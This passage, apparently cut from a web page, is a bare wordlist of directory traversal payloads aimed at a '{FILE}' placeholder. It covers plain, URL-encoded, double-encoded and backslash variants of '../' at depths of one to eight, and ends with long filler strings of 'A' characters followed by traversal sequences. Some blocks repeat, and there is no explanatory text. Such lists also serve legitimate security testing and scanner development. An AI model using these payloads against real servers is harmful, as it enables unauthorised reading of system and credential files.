/> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> 